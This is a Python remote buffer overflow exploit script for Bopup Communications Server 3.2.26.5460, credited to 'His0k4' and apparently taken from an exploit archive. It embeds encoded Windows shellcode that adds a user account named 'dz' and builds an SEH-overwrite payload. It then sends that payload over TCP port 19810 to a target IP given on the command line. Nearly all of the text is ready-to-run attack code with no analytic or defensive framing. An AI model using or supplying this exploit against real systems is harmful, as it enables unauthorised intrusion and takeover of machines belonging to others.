Bopup Communications Server Buffer Overflow

`#!/usr/bin/python  
#[*] Usage : python bopup.py [target_ip]  
# _ _ _ __ _ _ _   
#| || | (_) ___ / \ | |__ | | |   
#| __ | | | (_-< | () | | / / |_ _|  
#|_||_| |_| /__/ \__/ |_\_\ |_|   
#  
#[*] Bug : Bopup Communications Server (3.2.26.5460) Remote BOF Exploit (SEH)  
#[*] Tested on : Xp sp3 (EN)(VB)  
#[*] Refer : mu-b  
#[*] Exploited by : His0k4  
#[*] Greetings : All friends & muslims HaCkErs (DZ)  
  
  
import socket,sys,struct  
from time import *  
  
host = sys.argv[1]  
  
def banner():  
print "\n[x] Bopup Communications Server Remote BOF Exploit (SEH)\n"  
print "[x] By: His0k4\n"  
  
if len(sys.argv)!=2:  
banner()  
print "Usage: %s <ip>" %sys.argv[0]  
sys.exit(0)  
  
# win32_adduser - PASS=27 EXITFUNC=seh USER=dz Size=228 Encoder=PexFnstenvSub http://metasploit.com  
shellcode=(  
"\x44\x7A\x32\x37\x44\x7A\x32\x37\x29\xc9\x83\xe9\xcd\xd9\xee\xd9"  
"\x74\x24\xf4\x5b\x81\x73\x13\x05\x16\xf2\x06\x83\xeb\xfc\xe2\xf4"  
"\xf9\xfe\xb6\x06\x05\x16\x79\x43\x39\x9d\x8e\x03\x7d\x17\x1d\x8d"  
"\x4a\x0e\x79\x59\x25\x17\x19\x4f\x8e\x22\x79\x07\xeb\x27\x32\x9f"  
"\xa9\x92\x32\x72\x02\xd7\x38\x0b\x04\xd4\x19\xf2\x3e\x42\xd6\x02"  
"\x70\xf3\x79\x59\x21\x17\x19\x60\x8e\x1a\xb9\x8d\x5a\x0a\xf3\xed"  
"\x8e\x0a\x79\x07\xee\x9f\xae\x22\x01\xd5\xc3\xc6\x61\x9d\xb2\x36"  
"\x80\xd6\x8a\x0a\x8e\x56\xfe\x8d\x75\x0a\x5f\x8d\x6d\x1e\x19\x0f"  
"\x8e\x96\x42\x06\x05\x16\x79\x6e\x39\x49\xc3\xf0\x65\x40\x7b\xfe"  
"\x86\xd6\x89\x56\x6d\xe6\x78\x02\x5a\x7e\x6a\xf8\x8f\x18\xa5\xf9"  
"\xe2\x75\x9f\x62\x2b\x73\x8a\x63\x25\x39\x91\x26\x6b\x73\x86\x26"  
"\x70\x65\x97\x74\x25\x72\x88\x26\x37\x21\xd2\x29\x44\x52\xb6\x26"  
"\x23\x30\xd2\x68\x60\x62\xd2\x6a\x6a\x75\x93\x6a\x62\x64\x9d\x73"  
"\x75\x36\xb3\x62\x68\x7f\x9c\x6f\x76\x62\x80\x67\x71\x79\x80\x75"  
"\x25\x72\x88\x26\x2a\x57\xb6\x42\x05\x16\xf2\x06")  
  
  
payload = '\x01\x00\x00\x00'  
payload += '\x41'*(821-len(shellcode))  
payload += shellcode  
payload += '\x42'*27 #padding  
payload += '\xE8\xFC\xFE\xFF\xFF' #Call back  
payload += '\x43'*8 #padding, escaping from the \x00 monster :p  
payload += '\xEB\xF1\xFF\xFF' #short jump  
payload += '\xE0\x14\x40\x00' #p/p/r bcssrvc (universal)  
  
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
try:  
s.connect((host,19810))  
except:  
print "Can\'t connect to server!\n"  
sys.exit(0)  
  
s.send(payload+'\r\n')  
print("[+] Done!")  
s.close()  
  
`